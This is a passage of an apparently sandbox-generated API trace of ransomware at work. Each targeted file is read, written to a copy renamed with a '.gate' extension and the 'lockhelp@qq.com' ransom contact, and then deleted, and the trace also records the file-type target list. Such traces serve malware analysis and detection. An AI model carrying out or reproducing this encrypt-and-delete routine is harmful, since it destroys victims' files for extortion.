(lpString1=".bz2", lpString2=".xml") returned -1 [0113.551] lstrlenW (lpString=".7z") returned 3 [0113.551] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0113.551] lstrlenW (lpString="C:\\588bce7c90097ed212\\3076\\LocalizedData.xml") returned 44 [0113.551] lstrlenW (lpString=".dbf") returned 4 [0113.551] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0113.551] lstrlenW (lpString="C:\\588bce7c90097ed212\\3076\\LocalizedData.xml") returned 44 [0113.551] lstrlenW (lpString=".1cd") returned 4 [0113.551] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0113.551] lstrlenW (lpString="C:\\588bce7c90097ed212\\3076\\LocalizedData.xml") returned 44 [0113.551] lstrlenW (lpString=".jpg") returned 4 [0113.551] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0113.551] lstrcmpiW (lpString1=".html", lpString2=".gate") returned 1 [0113.551] lstrlenW (lpString="DHtmlHeader.html") returned 16 [0113.551] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\DHtmlHeader.html" (normalized: "c:\\588bce7c90097ed212\\dhtmlheader.html"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x30c [0113.573] GetFileSizeEx (in: hFile=0x30c, lpFileSize=0x34eff14 | out: lpFileSize=0x34eff14*=16118) returned 1 [0113.573] CloseHandle (hObject=0x30c) returned 1 [0113.573] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\DHtmlHeader.html" (normalized: "c:\\588bce7c90097ed212\\dhtmlheader.html")) returned 0x80 [0113.573] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\DHtmlHeader.html.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\588bce7c90097ed212\\dhtmlheader.html.id-b4197730.[lockhelp@qq.com].gate")) returned 0xffffffff [0113.574] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\DHtmlHeader.html" (normalized: "c:\\588bce7c90097ed212\\dhtmlheader.html"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x344 [0113.574] SetFilePointerEx (in: hFile=0x344, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34efec0 | out: lpNewFilePointer=0x0) returned 1 [0113.574] SetFilePointerEx (in: hFile=0x344, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34efec0 | out: lpNewFilePointer=0x0) returned 1 [0113.574] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\DHtmlHeader.html.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\588bce7c90097ed212\\dhtmlheader.html.id-b4197730.[lockhelp@qq.com].gate"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x318 [0113.610] GetLastError () returned 0x0 [0113.610] ReadFile (in: hFile=0x344, lpBuffer=0x3f17020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x34efecc, lpOverlapped=0x0 | out: lpBuffer=0x3f17020*, lpNumberOfBytesRead=0x34efecc*=0x3ef6, lpOverlapped=0x0) returned 1 [0113.668] WriteFile (in: hFile=0x318, lpBuffer=0x3f17020*, nNumberOfBytesToWrite=0x3f00, lpNumberOfBytesWritten=0x34efc94, lpOverlapped=0x0 | out: lpBuffer=0x3f17020*, lpNumberOfBytesWritten=0x34efc94*=0x3f00, lpOverlapped=0x0) returned 1 [0113.669] ReadFile (in: hFile=0x344, lpBuffer=0x3f17020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x34efecc, lpOverlapped=0x0 | out: lpBuffer=0x3f17020*, lpNumberOfBytesRead=0x34efecc*=0x0, lpOverlapped=0x0) returned 1 [0113.669] WriteFile (in: hFile=0x318, lpBuffer=0x3f17020*, nNumberOfBytesToWrite=0xf4, lpNumberOfBytesWritten=0x34efc94, lpOverlapped=0x0 | out: lpBuffer=0x3f17020*, lpNumberOfBytesWritten=0x34efc94*=0xf4, lpOverlapped=0x0) returned 1 [0113.669] SetEndOfFile (hFile=0x318) returned 1 [0113.669] CloseHandle (hObject=0x318) returned 1 [0113.670] SetFilePointerEx (in: hFile=0x344, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34efec0 | out: lpNewFilePointer=0x0) returned 1 [0113.670] SetEndOfFile (hFile=0x344) returned 1 [0113.671] CloseHandle (hObject=0x344) returned 1 [0113.671] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\DHtmlHeader.html.id-B4197730.[lockhelp@qq.com].gate", dwFileAttributes=0x80) returned 1 [0113.671] DeleteFileW (lpFileName="C:\\588bce7c90097ed212\\DHtmlHeader.html" (normalized: "c:\\588bce7c90097ed212\\dhtmlheader.html")) returned 1 [0113.672] lstrlenW (lpString="C:\\588bce7c90097ed212\\DHtmlHeader.html") returned 38 [0113.672] lstrlenW (lpString="C:\\588bce7c90097ed212\\DHtmlHeader.html") returned 38 [0113.672] lstrlenW (lpString=".doc") returned 4 [0113.672] lstrcmpiW (lpString1=".doc", lpString2="html") returned -1 [0113.672] lstrlenW (lpString=".docx") returned 5 [0113.672] lstrcmpiW (lpString1=".docx", lpString2=".html") returned -1 [0113.672] lstrlenW (lpString=".pdf") returned 4 [0113.672] lstrcmpiW (lpString1=".pdf", lpString2="html") returned -1 [0113.672] lstrlenW (lpString=".xls") returned 4 [0113.672] lstrcmpiW (lpString1=".xls", lpString2="html") returned -1 [0113.672] lstrlenW (lpString=".xlsx") returned 5 [0113.672] lstrcmpiW (lpString1=".xlsx", lpString2=".html") returned 1 [0113.672] lstrlenW (lpString=".ppt") returned 4 [0113.672] lstrcmpiW (lpString1=".ppt", lpString2="html") returned -1 [0113.672] lstrlenW (lpString="C:\\588bce7c90097ed212\\DHtmlHeader.html") returned 38 [0113.672] lstrlenW (lpString=".zip") returned 4 [0113.672] lstrcmpiW (lpString1=".zip", lpString2="html") returned -1 [0113.672] lstrlenW (lpString=".rar") returned 4 [0113.672] lstrcmpiW (lpString1=".rar", lpString2="html") returned -1 [0113.672] lstrlenW (lpString=".bz2") returned 4 [0113.672] lstrcmpiW (lpString1=".bz2", lpString2="html") returned -1 [0113.672] lstrlenW (lpString=".7z") returned 3 [0113.672] lstrcmpiW (lpString1=".7z", lpString2="tml") returned -1 [0113.672] lstrlenW (lpString="C:\\588bce7c90097ed212\\DHtmlHeader.html") returned 38 [0113.672] lstrlenW (lpString=".dbf") returned 4 [0113.673] lstrcmpiW (lpString1=".dbf", lpString2="html") returned -1 [0113.673] lstrlenW (lpString="C:\\588bce7c90097ed212\\DHtmlHeader.html") returned 38 [0113.673] lstrlenW (lpString=".1cd") returned 4 [0113.673] lstrcmpiW (lpString1=".1cd", lpString2="html") returned -1 [0113.673] lstrlenW (lpString="C:\\588bce7c90097ed212\\DHtmlHeader.html") returned 38 [0113.673] lstrlenW (lpString=".jpg") returned 4 [0113.673] lstrcmpiW (lpString1=".jpg", lpString2="html") returned -1 [0113.673] lstrlenW (lpString="C:\\588bce7c90097ed212\\DHtmlHeader.html") returned 38 [0113.673] lstrlenW (lpString="C:\\588bce7c90097ed212\\DHtmlHeader.html") returned 38 [0113.673] lstrlenW (lpString=".doc") returned 4 [0113.673] lstrcmpiW (lpString1=".doc", lpString2="html") returned -1 [0113.673] lstrlenW (lpString=".docx") returned 5 [0113.673] lstrcmpiW (lpString1=".docx", lpString2=".html") returned -1 [0113.673] lstrlenW (lpString=".pdf") returned 4 [0113.673] lstrcmpiW (lpString1=".pdf", lpString2="html") returned -1 [0113.673] lstrlenW (lpString=".xls") returned 4 [0113.673] lstrcmpiW (lpString1=".xls", lpString2="html") returned -1 [0113.673] lstrlenW (lpString=".xlsx") returned 5 [0113.673] lstrcmpiW (lpString1=".xlsx", lpString2=".html") returned 1 [0113.673] lstrlenW (lpString=".ppt") returned 4 [0113.673] lstrcmpiW (lpString1=".ppt", lpString2="html") returned -1 [0113.673] lstrlenW (lpString="C:\\588bce7c90097ed212\\DHtmlHeader.html") returned 38 [0113.673] lstrlenW (lpString=".zip") returned 4 [0113.673] lstrcmpiW (lpString1=".zip", lpString2="html") returned -1 [0113.673] lstrlenW (lpString=".rar") returned 4 [0113.673] lstrcmpiW (lpString1=".rar", lpString2="html") returned -1 [0113.673] lstrlenW (lpString=".bz2") returned 4 [0113.673] lstrcmpiW (lpString1=".bz2", lpString2="html") returned -1 [0113.673] lstrlenW (lpString=".7z") returned 3 [0113.673] lstrcmpiW (lpString1=".7z", lpString2="tml") returned -1 [0113.673] lstrlenW (lpString="C:\\588bce7c90097ed212\\DHtmlHeader.html") returned 38 [0113.673] lstrlenW (lpString=".dbf") returned 4 [0113.673] lstrcmpiW (lpString1=".dbf", lpString2="html") returned -1 [0113.673] lstrlenW (lpString="C:\\588bce7c90097ed212\\DHtmlHeader.html") returned 38 [0113.673] lstrlenW (lpString=".1cd") returned 4 [0113.673] lstrcmpiW (lpString1=".1cd", lpString2="html") returned -1 [0113.674] lstrlenW (lpString="C:\\588bce7c90097ed212\\DHtmlHeader.html") returned 38 [0113.674] lstrlenW (lpString=".jpg") returned 4 [0113.674] lstrcmpiW (lpString1=".jpg", lpString2="html") returned -1 [0113.674] lstrcmpiW (lpString1=".xml", lpString2=".gate") returned 1 [0113.674] lstrlenW (lpString="ParameterInfo.xml") returned 17 [0113.674] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\ParameterInfo.xml" (normalized: "c:\\588bce7c90097ed212\\parameterinfo.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x314 [0113.690] GetFileSizeEx (in: hFile=0x314, lpFileSize=0x34eff14 | out: lpFileSize=0x34eff14*=272046) returned 1 [0113.690] CloseHandle (hObject=0x314) returned 1 [0113.690] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\ParameterInfo.xml" (normalized: "c:\\588bce7c90097ed212\\parameterinfo.xml")) returned 0x80 [0113.690] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\ParameterInfo.xml.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\588bce7c90097ed212\\parameterinfo.xml.id-b4197730.[lockhelp@qq.com].gate")) returned 0xffffffff [0113.690] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\ParameterInfo.xml" (normalized: "c:\\588bce7c90097ed212\\parameterinfo.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x314 [0113.691] SetFilePointerEx (in: hFile=0x314, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34efec0 | out: lpNewFilePointer=0x0) returned 1 [0113.691] SetFilePointerEx (in: hFile=0x314, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34efec0 | out: lpNewFilePointer=0x0) returned 1 [0113.691] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\ParameterInfo.xml.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\588bce7c90097ed212\\parameterinfo.xml.id-b4197730.[lockhelp@qq.com].gate"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x318 [0113.695] GetLastError () returned 0x0 [0113.695] ReadFile (in: hFile=0x314, lpBuffer=0x3f17020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x34efecc, lpOverlapped=0x0 | out: lpBuffer=0x3f17020*, lpNumberOfBytesRead=0x34efecc*=0x426ae, lpOverlapped=0x0) returned 1 [0113.972] WriteFile (in: hFile=0x318, lpBuffer=0x3f17020*, nNumberOfBytesToWrite=0x426b0, lpNumberOfBytesWritten=0x34efc94, lpOverlapped=0x0 | out: lpBuffer=0x3f17020*, lpNumberOfBytesWritten=0x34efc94*=0x426b0, lpOverlapped=0x0) returned 1 [0113.977] ReadFile (in: hFile=0x314, lpBuffer=0x3f17020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x34efecc, lpOverlapped=0x0 | out: lpBuffer=0x3f17020*, lpNumberOfBytesRead=0x34efecc*=0x0, lpOverlapped=0x0) returned 1 [0113.977] WriteFile (in: hFile=0x318, lpBuffer=0x3f17020*, nNumberOfBytesToWrite=0xf6, lpNumberOfBytesWritten=0x34efc94, lpOverlapped=0x0 | out: lpBuffer=0x3f17020*, lpNumberOfBytesWritten=0x34efc94*=0xf6, lpOverlapped=0x0) returned 1 [0113.977] SetEndOfFile (hFile=0x318) returned 1 [0113.977] CloseHandle (hObject=0x318) returned 1 [0113.984] SetFilePointerEx (in: hFile=0x314, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34efec0 | out: lpNewFilePointer=0x0) returned 1 [0113.984] SetEndOfFile (hFile=0x314) returned 1 [0113.987] CloseHandle (hObject=0x314) returned 1 [0113.988] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\ParameterInfo.xml.id-B4197730.[lockhelp@qq.com].gate", dwFileAttributes=0x80) returned 1 [0113.988] DeleteFileW (lpFileName="C:\\588bce7c90097ed212\\ParameterInfo.xml" (normalized: "c:\\588bce7c90097ed212\\parameterinfo.xml")) returned 1 [0113.988] lstrlenW (lpString="C:\\588bce7c90097ed212\\ParameterInfo.xml") returned 39 [0113.988] lstrlenW (lpString="C:\\588bce7c90097ed212\\ParameterInfo.xml") returned 39 [0113.988] lstrlenW (lpString=".doc") returned 4 [0113.988] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0113.989] lstrlenW (lpString=".docx") returned 5 [0113.989] lstrcmpiW (lpString1=".docx", lpString2="o.xml") returned -1 [0113.989] lstrlenW (lpString=".pdf") returned 4 [0113.989] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0113.989] lstrlenW (lpString=".xls") returned 4 [0113.989] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0113.989] lstrlenW (lpString=".xlsx") returned 5 [0113.989] lstrcmpiW (lpString1=".xlsx", lpString2="o.xml") returned -1 [0113.989] lstrlenW (lpString=".ppt") returned 4 [0113.989] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0113.989] lstrlenW (lpString="C:\\588bce7c90097ed212\\ParameterInfo.xml") returned 39 [0113.989] lstrlenW (lpString=".zip") returned 4 [0113.989] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0113.989] lstrlenW (lpString=".rar") returned 4 [0113.989] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0113.989] lstrlenW (lpString=".bz2") returned 4 [0113.989] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0113.989] lstrlenW (lpString=".7z") returned 3 [0113.989] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0113.989] lstrlenW (lpString="C:\\588bce7c90097ed212\\ParameterInfo.xml") returned 39 [0113.989] lstrlenW (lpString=".dbf") returned 4 [0113.989] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0113.989] lstrlenW (lpString="C:\\588bce7c90097ed212\\ParameterInfo.xml") returned 39 [0113.989] lstrlenW (lpString=".1cd") returned 4 [0113.989] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0113.989] lstrlenW (lpString="C:\\588bce7c90097ed212\\ParameterInfo.xml") returned 39 [0113.989] lstrlenW (lpString=".jpg") returned 4 [0113.990] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0113.990] lstrlenW (lpString="C:\\588bce7c90097ed212\\ParameterInfo.xml") returned 39 [0113.990] lstrlenW (lpString="C:\\588bce7c90097ed212\\ParameterInfo.xml") returned 39 [0113.990] lstrlenW (lpString=".doc") returned 4 [0113.990] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0113.990] lstrlenW (lpString=".docx") returned 5 [0113.990] lstrcmpiW (lpString1=".docx", lpString2="o.xml") returned -1 [0113.990] lstrlenW (lpString=".pdf") returned 4 [0113.990] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0113.990] lstrlenW (lpString=".xls") returned 4 [0113.990] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0113.990] lstrlenW (lpString=".xlsx") returned 5 [0113.990] lstrcmpiW (lpString1=".xlsx", lpString2="o.xml") returned -1 [0113.990] lstrlenW (lpString=".ppt") returned 4 [0113.990] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0113.990] lstrlenW (lpString="C:\\588bce7c90097ed212\\ParameterInfo.xml") returned 39 [0113.990] lstrlenW (lpString=".zip") returned 4 [0113.990] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0113.990] lstrlenW (lpString=".rar") returned 4 [0113.990] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0113.990] lstrlenW (lpString=".bz2") returned 4 [0113.990] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0113.990] lstrlenW (lpString=".7z") returned 3 [0113.990] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0113.990] lstrlenW (lpString="C:\\588bce7c90097ed212\\ParameterInfo.xml") returned 39 [0113.991] lstrlenW (lpString=".dbf") returned 4 [0113.991] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0113.991] lstrlenW (lpString="C:\\588bce7c90097ed212\\ParameterInfo.xml") returned 39 [0113.991] lstrlenW (lpString=".1cd") returned 4 [0113.991] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0113.991] lstrlenW (lpString="C:\\588bce7c90097ed212\\ParameterInfo.xml") returned 39 [0113.991] lstrlenW (lpString=".jpg") returned 4 [0113.991] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0113.991] lstrcmpiW (lpString1=".xml", lpString2=".gate") returned 1 [0113.991] lstrlenW (lpString="OfficeUpdateSchedule.xml") returned 24 [0113.991] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\OfficeUpdateSchedule.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\officeupdateschedule.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x30c [0114.017] GetFileSizeEx (in: hFile=0x30c, lpFileSize=0x34eff14 | out: lpFileSize=0x34eff14*=4782) returned 1 [0114.017] CloseHandle (hObject=0x30c) returned 1 [0114.017] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\OfficeUpdateSchedule.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\officeupdateschedule.xml")) returned 0x20 [0114.017] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\OfficeUpdateSchedule.xml.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\officeupdateschedule.xml.id-b4197730.[lockhelp@qq.com].gate")) returned 0xffffffff [0114.019] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\OfficeUpdateSchedule.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\officeupdateschedule.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x344 [0114.019] SetFilePointerEx (in: hFile=0x344, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34efec0 | out: lpNewFilePointer=0x0) returned 1 [0114.019] SetFilePointerEx (in: hFile=0x344, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34efec0 | out: lpNewFilePointer=0x0) returned 1 [0114.019] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\OfficeUpdateSchedule.xml.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\officeupdateschedule.xml.id-b4197730.[lockhelp@qq.com].gate"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x374 [0114.019] GetLastError () returned 0x0 [0114.019] ReadFile (in: hFile=0x344, lpBuffer=0x3f17020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x34efecc, lpOverlapped=0x0 | out: lpBuffer=0x3f17020*, lpNumberOfBytesRead=0x34efecc*=0x12ae, lpOverlapped=0x0) returned 1 [0114.058] WriteFile (in: hFile=0x374, lpBuffer=0x3f17020*, nNumberOfBytesToWrite=0x12b0, lpNumberOfBytesWritten=0x34efc94, lpOverlapped=0x0 | out: lpBuffer=0x3f17020*, lpNumberOfBytesWritten=0x34efc94*=0x12b0, lpOverlapped=0x0) returned 1 [0114.060] ReadFile (in: hFile=0x344, lpBuffer=0x3f17020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x34efecc, lpOverlapped=0x0 | out: lpBuffer=0x3f17020*, lpNumberOfBytesRead=0x34efecc*=0x0, lpOverlapped=0x0) returned 1 [0114.060] WriteFile (in: hFile=0x374, lpBuffer=0x3f17020*, nNumberOfBytesToWrite=0x104, lpNumberOfBytesWritten=0x34efc94, lpOverlapped=0x0 | out: lpBuffer=0x3f17020*, lpNumberOfBytesWritten=0x34efc94*=0x104, lpOverlapped=0x0) returned 1 [0114.060] SetEndOfFile (hFile=0x374) returned 1 [0114.064] CloseHandle (hObject=0x374) returned 1 [0114.066] SetFilePointerEx (in: hFile=0x344, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34efec0 | out: lpNewFilePointer=0x0) returned 1 [0114.066] SetEndOfFile (hFile=0x344) returned 1 [0114.067] CloseHandle (hObject=0x344) returned 1 [0114.067] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\OfficeUpdateSchedule.xml.id-B4197730.[lockhelp@qq.com].gate", dwFileAttributes=0x20) returned 1 [0114.067] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\OfficeUpdateSchedule.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\officeupdateschedule.xml")) returned 1 [0114.068] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\OfficeUpdateSchedule.xml") returned 82 [0114.068] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\OfficeUpdateSchedule.xml") returned 82 [0114.068] lstrlenW (lpString=".doc") returned 4 [0114.068] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0114.068] lstrlenW (lpString=".docx") returned 5 [0114.068] lstrcmpiW (lpString1=".docx", lpString2="e.xml") returned -1 [0114.068] lstrlenW (lpString=".pdf") returned 4 [0114.068] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0114.068] lstrlenW (lpString=".xls") returned 4 [0114.068] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0114.068] lstrlenW (lpString=".xlsx") returned 5 [0114.068] lstrcmpiW (lpString1=".xlsx", lpString2="e.xml") returned -1 [0114.068] lstrlenW (lpString=".ppt") returned 4 [0114.068] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0114.068] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\OfficeUpdateSchedule.xml") returned 82 [0114.068] lstrlenW (lpString=".zip") returned 4 [0114.068] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0114.068] lstrlenW (lpString=".rar") returned 4 [0114.068] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0114.068] lstrlenW (lpString=".bz2") returned 4 [0114.068] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0114.068] lstrlenW (lpString=".7z") returned 3 [0114.068] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0114.068] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\OfficeUpdateSchedule.xml") returned 82 [0114.069] lstrlenW (lpString=".dbf") returned 4 [0114.069] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0114.069] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\OfficeUpdateSchedule.xml") returned 82 [0114.069] lstrlenW (lpString=".1cd") returned 4 [0114.069] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0114.069] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\OfficeUpdateSchedule.xml") returned 82 [0114.069] lstrlenW (lpString=".jpg") returned 4 [0114.069] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0114.069] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\OfficeUpdateSchedule.xml") returned 82 [0114.069] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\OfficeUpdateSchedule.xml") returned 82 [0114.069] lstrlenW (lpString=".doc") returned 4 [0114.069] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0114.069] lstrlenW (lpString=".docx") returned 5 [0114.069] lstrcmpiW (lpString1=".docx", lpString2="e.xml") returned -1 [0114.069] lstrlenW (lpString=".pdf") returned 4 [0114.069] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0114.069] lstrlenW (lpString=".xls") returned 4 [0114.069] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0114.069] lstrlenW (lpString=".xlsx") returned 5 [0114.069] lstrcmpiW (lpString1=".xlsx", lpString2="e.xml") returned -1 [0114.069] lstrlenW (lpString=".ppt") returned 4 [0114.069] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0114.069] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\OfficeUpdateSchedule.xml") returned 82 [0114.069] lstrlenW (lpString=".zip") returned 4 [0114.069] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0114.069] lstrlenW (lpString=".rar") returned 4 [0114.069] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0114.070] lstrlenW (lpString=".bz2") returned 4 [0114.070] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0114.070] lstrlenW (lpString=".7z") returned 3 [0114.070] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0114.070] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\OfficeUpdateSchedule.xml") returned 82 [0114.070] lstrlenW (lpString=".dbf") returned 4 [0114.070] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0114.070] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\OfficeUpdateSchedule.xml") returned 82 [0114.070] lstrlenW (lpString=".1cd") returned 4 [0114.070] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0114.070] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\OfficeUpdateSchedule.xml") returned 82 [0114.070] lstrlenW (lpString=".jpg") returned 4 [0114.070] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0114.070] lstrcmpiW (lpString1=".xml", lpString2=".gate") returned 1 [0114.070] lstrlenW (lpString="Content.xml") returned 11 [0114.070] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\Content.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\content.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x350 [0114.092] GetFileSizeEx (in: hFile=0x350, lpFileSize=0x34eff14 | out: lpFileSize=0x34eff14*=27045) returned 1 [0114.092] CloseHandle (hObject=0x350) returned 1 [0114.092] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\Content.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\content.xml")) returned 0x20 [0114.092] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\Content.xml.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\content.xml.id-b4197730.[lockhelp@qq.com].gate")) returned 0xffffffff [0114.092] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\Content.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\content.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0114.092] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\Content.xml") returned 62 [0114.092] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\Content.xml") returned 62 [0114.093] lstrlenW (lpString=".doc") returned 4 